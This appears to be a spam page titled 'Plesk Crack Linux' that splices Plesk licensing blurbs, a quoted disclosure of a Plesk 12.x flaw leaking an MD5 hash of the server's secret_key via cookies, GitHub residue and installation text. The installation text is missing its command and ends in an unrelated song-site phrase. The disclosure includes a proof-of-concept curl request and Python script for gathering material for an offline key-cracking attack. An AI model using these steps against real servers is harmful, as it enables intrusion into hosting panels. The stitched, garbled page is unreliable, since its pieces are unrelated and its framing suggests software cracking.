Breaking News
Plesk Crack Linux
пятница 10 апреля admin 70
Plesk panel 11 linux crack. Plesk Pricing Plans Options. Parallels Plesk Panel is the ideal solution for shared,. Plesk Control Panel. With Plesk 12.5, there are no longer any 'Plesk for Windows' and 'Plesk for Linux' licenses. Now, you can install the same license on either a Windows or Linux server. Plesk 12.5 is shipped in four editions optimized to specific needs. Plesk Web Admin Edition for Web Admins, who manage sites for an employer, a business, or for.
Parallels Plesk Panel 12.x Key Disclosure - Parallels Plesk Panel version 12.x for Linux discloses /etc/psa/private/secret_key as an MD5 hash allowing for offline attacks to crack it.
plesk12_crack.txt
| While auditing the source code for Parallels Plesk Panel 12.x on Linux I |
| noticed the following feature that leads to leakage of the |
| '/etc/psa/private/secret_key'-file in md5 format to non-authenticated users. |
| Parallels responded that the 16byte 'secret_key' should provide sufficient |
| entropy for this not being an issue. |
| Soooo.. even if I can control part of the salt to calculate the md5sum.? |
| See for yourself. |
| Code where the bug resides in: |
| ---- |
| /opt/psa/admin/htdocs/enterprise/rsession_init.php |
| 31 if ($failureRedirectUrl = get_gpc('failure_redirect_url')) { |
| 36 hspc_setopt('failure_redirect_url', $failureRedirectUrl); |
| >37 hspc_setopt('failure_redirect_url_sign', md5($failureRedirectUrl . |
| Plesk_Base_Utils_String::getCryptKey())); |
| 38 } |
| .. |
| . |
| /opt/psa/admin/plib/Plesk/Base/Utils/String.php |
| 363 final public static function getCryptKey() { |
| .. |
| 369 if (Os::UNIX) { |
| 370 self::$_cryptKey = @file_get_contents(ENCRYPT_KEY_FILE); |
| . |
| 380 return self::$_cryptKey; |
| 381 } |
| .. |
| . |
| /opt/psa/admin/plib/compile_time_defaults.php |
| 12 define('ENCRYPT_KEY_FILE', '/etc/psa/private/secret_key'); |
| ---- |
| Summary of bug: |
| - user sends 1 HTTP requst to rsession_init.php on the remote server which |
| contains an invalid PHPSESSIONID and a redirect URL for when the login |
| fails. |
| - script sets two cookies which contains the following values: |
| failure_redirect_url = $failureRedirectUrl (supplied in URL) |
| failure_redirect_url_sign = md5($failureRedirectUrl + contents |
| /etc/psa/private/secret_key) |
| [+] Annoying redirect loop if localhost is specified as url to to redirect |
| to when login fails until cookies are cleared. |
| PoC: |
| root@debian7:~# #see /usr/local/psa/admin/sbin/encrypt_keygen for details |
| on key generation routine |
| root@debian7:~# dd if=/dev/urandom of=/etc/psa/private/secret_key bs=16 |
| count=1 |
| 1+0 records in |
| 1+0 records out |
| 16 bytes (16 B) copied, 0.000183366 s, 87.3 kB/s |
| root@debian7:~# hexdump -C /etc/psa/private/secret_key |
| 00000000 99 51 17 9a c6 8c 6e bd 4a 75 98 73 e2 64 fa e4 |
| .Q..n.Ju.s.d. |
| $ curl -k -i -s ' |
| https://debian7:8443/enterprise/rsession_init.php?PHPSESSID=000000000000000000000000000000000&failure_redirect_url=w00t' awk |
| '/fail/ {print $2}' |
| . |
| . |
| .. |
| failure_redirect_url=w00t; |
| failure_redirect_url_sign=03ba5675030c59bf66bbc2f4d30aec61; |
| root@debian7:~# ./poc.py |
| 03ba5675030c59bf66bbc2f4d30aec61 |
| ---poc.py--- |
| #! /usr/bin/env python |
| import hashlib |
| import binascii |
| with open('/etc/psa/private/secret_key') as f: |
| whoops = hashlib.md5('w00t' + |
| binascii.unhexlify(f.read().encode('hex'))).hexdigest() |
| print whoops |
| ------ |
| In theory this bug will give you enough ammunition to calculate the |
| contents of the /etc/psa/private/secret_key as we have part of the salt, |
| and already know the outcome of a insecure hashing algorithm to match |
| against. |
| I'm glad nobody owns the amount of computing power which is required to |
| abuse this bug nowadays anyhow . :'] |
| Regards, |
| Tim Rots |
| The Netherlands |
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment
One-click installation is a fast and hassle-free way of getting a Pleskserver with default configuration up and running. Here is how to do it:
First, make sure that your server conforms to the installationrequirements: Software Requirements for PleskOnyx.
Then, log in to the server via SSH as the ‘root’ user and run thefollowing command:
The installation will proceed automatically, taking, on average, betweenthirty minutes and an hour. The installer will download the lateststable Plesk release, install it with the default set of components andfeatures designed to suit the needs of the majority of users, and applyall available patches and updates for maximum security and performance.
Do not worry that you are missing out on any Plesk features this way -you can add or remove Plesk components later. However, if you would liketo have control over what components are installed, take a look atinstalling via console or the web GUI.
After the installation is completed, you will need to perform thepost-install configuration - see the Post-InstallConfigurationArya ki prem pratigya song pagalworld. topic for details.